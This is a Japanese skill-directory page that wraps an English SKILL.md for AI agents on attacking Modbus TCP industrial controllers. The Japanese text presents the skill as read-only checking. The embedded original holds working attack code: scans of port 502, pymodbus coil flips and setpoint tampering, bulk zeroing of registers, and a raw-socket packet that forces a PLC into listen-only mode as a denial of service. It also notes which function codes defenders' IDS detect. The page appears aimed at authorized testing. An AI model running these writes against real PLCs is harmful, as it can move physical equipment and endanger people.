ics-modbus
できること
このガイドは、多くの産業用コントローラーで使われる単純なプロトコルModbus TCPのセキュリティチェックを扱います。書面の承認を得て作業する産業用セキュリティのチーム向けです。
使う場面
- ✓認可されたレビューで、ネットワーク上のModbusの機器を見つける必要があるとき。
- ✓Modbusの機器がインターネットから到達可能かを確認したいとき。
- ✓設定を変えずに、機器のベンダーとファームウェアを特定したいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“ネットワーク外から到達できるModbusの機器が当社にないかを、読み取り専用の手順で確認してもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは標準のModbusのポートをスキャンし、許可されている場合は機器の識別情報を読み、露出している機器を報告します。値は変更しません。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Modbus TCP Attack
Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.
Discover
# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24
# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)
Read everything
# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:", c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:", c.read_holding_registers(0, 100).registers)
print("Input regs:", c.read_input_registers(0, 100).registers)
c.close()
'
# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5 # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5 # read holding regs
# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5
Identify the device (FC43 / MEI)
# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}
Write attacks
Single coil flip (DO output)
c.write_coil(address=10, value=True) # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker close
Tamper holding registers (process setpoints)
c.write_register(address=100, value=9999) # often a setpoint or limit
Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode")
# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)
Bulk-write registers (often unauthenticated)
c.write_registers(address=0, values=[0]*100) # zero-out 100 registers
Common findings
| Finding | Impact |
|---|---|
| Modbus on internet | Full process control of whatever the PLC drives |
| No firewall between IT and OT VLAN | Lateral move from compromised desktop to PLC |
| Modbus over serial via TCP gateway (Moxa, Lantronix) | Same primitives over WAN |
| HMI uses default Modbus polling | Coil writes survive HMI refresh — persistent tamper |
| Unit ID 0 broadcast | Single packet reaches every slave (no response, but write succeeds) |
OPSEC + safety
- Real-world warning: writing to a coil/register on a live PLC may move a physical actuator. Confirm scope authorization for write-class testing IN WRITING before any FC5/6/15/16. Read-only is generally safe; writes can hurt people.
- Modbus has no audit log. Defenders use IDS (Nozomi, Claroty, Dragos) —
modbus_function_5andmodbus_function_15are distinctive in their telemetry. - Many PLCs lack rate limiting — connection floods can OOM the network stack and freeze the device for the duration of the attack.
References
- "Modbus Hacking" — Joel Langill (recurring S4 Conference talks)
- pymodbus docs — github.com/pymodbus-dev/pymodbus
- nmap NSE modbus-discover.nse
- IEC 62443 (defender baseline; useful for understanding what's in-scope)
よくある質問
Modbusには認証がありますか?
いいえ。Modbusには認証も通信の暗号化もないとガイドは述べています。
機器の識別とは何ですか?
ベンダー、モデル、ファームウェアの詳細を返す標準のリクエストです。
インターネットへの露出が懸念される理由は?
露出したModbusの機器は、到達できる誰にでも制御されうるとガイドは述べています。
詳細
作者による元の説明
Modbus TCP attack — port 502 enumeration, coil/holding-register read/write without auth, function-code abuse (FC8 diagnostic, FC43 read-device-id), Modbus-over-Serial via TCP gateway, write-with-no-confirm DoS, value tampering against PLCs.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14038
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。